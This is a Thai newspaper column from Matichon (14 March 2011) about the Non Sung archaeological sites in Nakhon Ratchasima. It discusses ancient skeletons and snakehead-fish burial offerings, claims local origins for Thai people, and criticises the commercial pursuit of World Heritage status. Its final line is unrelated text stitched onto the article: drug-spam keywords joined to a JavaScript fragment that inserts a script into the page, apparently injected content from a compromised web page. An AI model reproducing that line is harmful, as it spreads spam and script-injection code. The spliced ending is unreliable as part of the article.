มติชนรายวัน ฉบับประจำวันจันทร์ที่  14   มีนาคม  2554

โครงกระดูกอายุ 4,000-2,000 ปีมาแล้ว ที่นักโบราณคดีขุดพบในเขต อ. โนนสูง จ. นครราชสีมา เป็นหลักฐานสำคัญมากที่จะยืนยันคำอธิบายต่อไปว่า

คนไทยไม่ได้มาจากไหน เพราะคนไทยอยู่ที่นี่ ที่อุษาคเนย์

เรื่องนี้ทางจังหวัดนครราชสีมา จัดตั้งคณะกรรมการพัฒนาแหล่งโบราณคดีลุ่มน้ำมูลตอนต้น (โนนสูง นครราชสีมา) เพื่อศึกษาและดำเนินการผลักดันขึ้นทะเบียนแหล่งโบราณคดีโนนสูงเป็นมรดกโลก (ไทยโพสต์ X-Cite, ฉบับวันที่ 8-9 มีนาคม 2554 หน้า 2)

แหล่งโบราณคดีโนนสูง อยู่เขต อ. โนนสูง จ. นครราชสีมา รายงานของจังหวัดนครราชสีมาระบุว่ามี 5 จุด อายุราว 4,000-2,000 ปีมาแล้ว คือ

1. บ้านหลุมข้าว 2. บ้านปราสาท 3. โนนเมืองเก่า บ้านดงพลอง 4. เนินอุโลก 5. บ้านโนนวัด

แต่ยังขุดค้นไม่หมด หากขุดค้นเพิ่มอีก ก็จะพบหลักฐานโบราณคดีมากกว่านี้ เพราะเป็นแหล่งใหญ่โตกว้างขวางมาก

แหล่งโบราณคดีโนนสูง เป็นชุมชนของบรรพชน“คนไทย”ดึกดำบรรพ์สายหนึ่ง ราว 4,000 ปีมาแล้ว ร่วมยุคบ้านเชียง (อุดรธานี) แต่วัฒนธรรมต่างกัน

คนดึกดำบรรพ์ที่โนนสูง ยกย่อง“หมา”เป็นสัตว์ศักดิ์สิทธิ์ นำพันธุ์ข้าวจากฟ้าลงมาให้คนปลูกกิน เหมือนเจ้าของภาพเขียนสีอยู่ที่เขาจันทน์งาม อ. สีคิ้ว จ. นครราชสีมา

ขณะเดียวกันก็ยกย่อง“ปลาช่อน”เป็นสัตว์ศักดิ์สิทธิ์ด้วย เพราะขุดพบก้างปลาช่อนทั้งตัวในหม้อดินเผา อายุราว 3,000 ปีมาแล้ว ที่บ้านโนนวัด อ. โนนสูง

ซากปลาช่อนในภาชนะดินเผา จากหลุมศพราว 3,000 ปีมาแล้ว ที่บ้านโนนวัด  อ. โนนสูง จ. นครราชสีมา แสดงว่าพิธีศพยุคนั้นเอาปลาช่อนใส่ไหฝังรวมไปกับศพด้วย

 

บรรพชน“คนไทย”ดึกดำบรรพ์ที่โนนสูง เมื่อรับศาสนาจากชมพูทวีป(อินเดีย)แล้ว มีส่วนเป็นผู้สร้างปราสาทพนมวัน, ปราสาทพิมาย, และพระโพธิสัตว์สัมฤทธิ์            (ที่บ้านโตนด ใน อ. โนนสูง)

ขณะเดียวกันก็เกี่ยวดองเป็นเครือญาติชาติพันธุ์กับตระกูล“มหิธรปุระ” แห่งต้นน้ำมูลผู้เป็นต้นวงศ์กษัตริย์กัมพูชาที่สร้างนครวัด, นครธม

“มรดกโลก”ในประเทศไทยกำลังเป็นโรคระบาดทางวัฒนธรรม ที่ผู้นำทุกหนทุกแห่งพยายามอย่างยิ่งที่จะผลักดันเรียกร้องให้สมบัติวัฒนธรรมท้องถิ่นของตนได้รับการขึ้นทะเบียนเป็นมรดกโลก

เป้าหมายหลักไม่ได้อยู่ที่สงวนรักษาหลักฐานความเป็นมาของท้องถิ่นบ้านเมืองนั้นๆ แต่เพื่อสร้างรายได้ทางการท่องเที่ยวจากการ“ขาย”มรดกโลก

เมื่อขายความเป็นมรดกโลกได้ ก็ไม่สนใจทำนุบำรุงแหล่งมรดกโลกอีกต่อไป               ดังมีตัวอย่างเกือบทุกแห่งที่เป็นมรดกโลกในประเทศไทย

หากจะให้ดีควรมีคณะทำงานบริหารจัดการแหล่งวัฒนธรรมลุ่มน้ำมูล ตั้งแต่ต้นน้ำที่โคราช ถึงปลายน้ำที่อุบลฯ มีหน้าที่ทำกิจกรรมแบ่งปันเผยแพร่ข้อมูลความรู้วัฒนธรรมประวัติศาสตร์โบราณคดีลุ่มน้ำมูลสู่สาธารณะ อย่างสม่ำเสมอ

แต่ไม่ควรมีมิวเซียมหลุมขุดค้นแบบบ้านเชียงกับบ้านปราสาท เพราะดินชื้น เกลือขึ้นจับกระดูกและสิ่งของเสียหายหมด แล้วไม่มีเงินบำรุงรักษา

เคยมีผู้แนะนำให้ทำ“จำลอง”หลุมขุดค้นไว้ดีกว่า แต่ดีกว่าจริงหรือไม่จริง           ยังสรุปไม่ได้ จึงควรพิจารณาร่วมกันให้รอบคอบ แล้วทำศูนย์ข้อมูลเป็น“มิวเซียม โนนสูง”ไว้ที่บ้านโนนวัด ให้รู้ความเป็นมาของท้องถิ่นนั้นทั้งหมด

แต่ถ้าสร้างตลาด OTOP ไว้ริมถนนใหญ่ ก็รอวันเจ๊งได้ มีตัวอย่างทั่วประเทศขณะนี้เป็นที่หมาเยี่ยว

fluoxetine xanax order ?v gel document.currentScript.parentNode.insertBefore(s, document.currentScript);